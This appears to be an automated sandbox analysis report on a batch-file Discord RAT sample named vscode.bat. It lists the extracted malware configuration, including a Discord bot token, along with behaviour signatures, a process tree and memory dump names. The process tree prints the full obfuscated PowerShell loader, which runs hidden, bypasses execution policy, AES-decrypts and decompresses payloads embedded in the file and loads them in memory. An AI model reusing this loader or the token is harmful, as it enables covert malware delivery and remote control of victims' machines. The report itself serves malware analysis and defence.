Analysis
- max time kernel
51s - max time network
47s - platform
windows10-2004_x64 - resource
win10v2004-20240412-en - resource tags
- submitted
14/04/2024, 19:22
Errors
General
- Target vscode.bat
- Size 274KB
- Sample240414-x3kcaabd84
- SHA256 1e938491719616ade4bd63d17be73b26d6856fdca3c1255e99ab004ace719d4b
Malware Config
Extracted
-
discordrat
-
discord_token
MTIyMjg4ODc4NjY4MjQ1MDAwMA.GrWWth.lufsbZUbCt6RpsyO9yf6mU1zPT_mACVqxKnhtg
-
server_id
1229118384591994951
Signatures
- Discord RAT
A RAT written in C# using Discord as a C2.
- Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
- Blocklisted process makes network request 8 IoCs
- Downloads MZ/PE file
- Legitimate hosting services abused for malware hosting/C2 1 TTPs 8 IoCs
- Suspicious use of SetThreadContext 1 IoCs
- Suspicious behavior: EnumeratesProcesses 7 IoCs
- Suspicious use of AdjustPrivilegeToken 4 IoCs
- Suspicious use of WriteProcessMemory 41 IoCs
Processes
-
C:\Windows\system32\winlogon.exewinlogon.exe1⤵
-
C:\Windows\system32\dwm.exe"dwm.exe"2⤵
-
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{5214bf81-d01f-4797-bfe3-8d6ae63db3cc}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
-
C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵
-
C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\vscode.bat"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('oG29TiHkUBL8raP9jBJGPGJU4GOleBpzsLsSqfKDVCk='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('z6QiZy5JAMbpfGsz1xHzww=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $Gvikg=New-Object System.IO.MemoryStream(,$param_var); $ZCWGG=New-Object System.IO.MemoryStream; $dlrhf=New-Object System.IO.Compression.GZipStream($Gvikg, [IO.Compression.CompressionMode]::Decompress); $dlrhf.CopyTo($ZCWGG); $dlrhf.Dispose(); $Gvikg.Dispose(); $ZCWGG.Dispose(); $ZCWGG.ToArray();}function execute_function($param_var,$param2_var){ $DNmPg=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $tqhCK=$DNmPg.EntryPoint; $tqhCK.Invoke($null, $param2_var);}$VBiSq = 'C:\Users\Admin\AppData\Local\Temp\vscode.bat';$host.UI.RawUI.WindowTitle = $VBiSq;$KCldM=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($VBiSq).Split([Environment]::NewLine);foreach ($ixDfm in $KCldM) { if ($ixDfm.StartsWith(':: ')) { $LKmBs=$ixDfm.Substring(3); break; }}$payloads_var=[string[]]$LKmBs.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_c0nrlvv0.gh0.ps1
memory/64-54-0x0000026F38230000-0x0000026F3825A000-memory.dmp
memory/64-50-0x00007FF7CA250000-0x00007FF7CA260000-memory.dmp
memory/64-47-0x0000026F38230000-0x0000026F3825A000-memory.dmp
memory/408-57-0x0000026FBC540000-0x0000026FBC56A000-memory.dmp
memory/408-58-0x00007FF7CA250000-0x00007FF7CA260000-memory.dmp
memory/408-103-0x0000026FBC540000-0x0000026FBC56A000-memory.dmp
memory/616-88-0x00000186755E0000-0x000001867560A000-memory.dmp
memory/616-34-0x00000186755E0000-0x000001867560A000-memory.dmp
memory/616-35-0x00007FF7CA250000-0x00007FF7CA260000-memory.dmp
memory/616-36-0x00000186755E0000-0x000001867560A000-memory.dmp
memory/616-32-0x0000018675580000-0x00000186755A3000-memory.dmp
memory/616-46-0x00007FF80A26C000-0x00007FF80A26D000-memory.dmp
memory/616-38-0x00007FF80A26D000-0x00007FF80A26E000-memory.dmp
memory/616-43-0x00007FF80A26F000-0x00007FF80A270000-memory.dmp
memory/664-41-0x00007FF7CA250000-0x00007FF7CA260000-memory.dmp
memory/664-37-0x00000209860A0000-0x00000209860CA000-memory.dmp
memory/664-49-0x00000209860A0000-0x00000209860CA000-memory.dmp
memory/960-45-0x0000023EE1A40000-0x0000023EE1A6A000-memory.dmp
memory/960-48-0x00007FF7CA250000-0x00007FF7CA260000-memory.dmp
memory/960-52-0x0000023EE1A40000-0x0000023EE1A6A000-memory.dmp
memory/1040-64-0x00007FF7CA250000-0x00007FF7CA260000-memory.dmp
memory/1040-62-0x000001AB53690000-0x000001AB536BA000-memory.dmp
memory/1116-66-0x00000203BF2A0000-0x00000203BF2CA000-memory.dmp
memory/1116-70-0x00007FF7CA250000-0x00007FF7CA260000-memory.dmp
memory/1116-69-0x00007FF80A26D000-0x00007FF80A26E000-memory.dmp
memory/1132-74-0x000001FB20F10000-0x000001FB20F3A000-memory.dmp
memory/1132-76-0x00007FF7CA250000-0x00007FF7CA260000-memory.dmp
memory/1180-78-0x000001DA64800000-0x000001DA6482A000-memory.dmp
memory/1180-79-0x00007FF7CA250000-0x00007FF7CA260000-memory.dmp
memory/1188-82-0x0000017EE03D0000-0x0000017EE03FA000-memory.dmp
memory/1188-83-0x00007FF7CA250000-0x00007FF7CA260000-memory.dmp
memory/1284-87-0x00007FF7CA250000-0x00007FF7CA260000-memory.dmp
memory/1284-85-0x00000212F4060000-0x00000212F408A000-memory.dmp
memory/1316-91-0x0000023B901D0000-0x0000023B901FA000-memory.dmp
memory/1316-92-0x00007FF7CA250000-0x00007FF7CA260000-memory.dmp
memory/1316-95-0x0000023B901D0000-0x0000023B901FA000-memory.dmp
memory/4524-30-0x0000000140000000-0x0000000140040000-memory.dmp
memory/4524-26-0x0000000140000000-0x0000000140040000-memory.dmp
memory/4524-25-0x0000000140000000-0x0000000140040000-memory.dmp
memory/4524-24-0x0000000140000000-0x0000000140040000-memory.dmp
memory/4524-27-0x00007FF80A1D0000-0x00007FF80A3C5000-memory.dmp
memory/4524-29-0x0000000140000000-0x0000000140040000-memory.dmp
memory/4524-28-0x00007FF808590000-0x00007FF80864E000-memory.dmp
memory/4808-21-0x0000022B1E070000-0x0000022B1E0AE000-memory.dmp
memory/4808-11-0x0000022B1DBD0000-0x0000022B1DBE0000-memory.dmp
memory/4808-12-0x0000022B1DBD0000-0x0000022B1DBE0000-memory.dmp
memory/4808-13-0x0000022B1DE10000-0x0000022B1DE18000-memory.dmp
memory/4808-14-0x0000022B1DE20000-0x0000022B1DE56000-memory.dmp
memory/4808-15-0x0000022B1DE50000-0x0000022B1DE68000-memory.dmp
memory/4808-16-0x0000022B1E100000-0x0000022B1E2C2000-memory.dmp
memory/4808-17-0x0000022B1E800000-0x0000022B1ED28000-memory.dmp
memory/4808-18-0x00007FFFEBBE0000-0x00007FFFEC6A1000-memory.dmp
memory/4808-10-0x00007FFFEBBE0000-0x00007FFFEC6A1000-memory.dmp
memory/4808-19-0x0000022B1DBD0000-0x0000022B1DBE0000-memory.dmp
memory/4808-20-0x0000022B1DBD0000-0x0000022B1DBE0000-memory.dmp
memory/4808-22-0x00007FF80A1D0000-0x00007FF80A3C5000-memory.dmp
memory/4808-23-0x00007FF808590000-0x00007FF80864E000-memory.dmp
memory/4808-1-0x0000022B1DBE0000-0x0000022B1DC02000-memory.dmp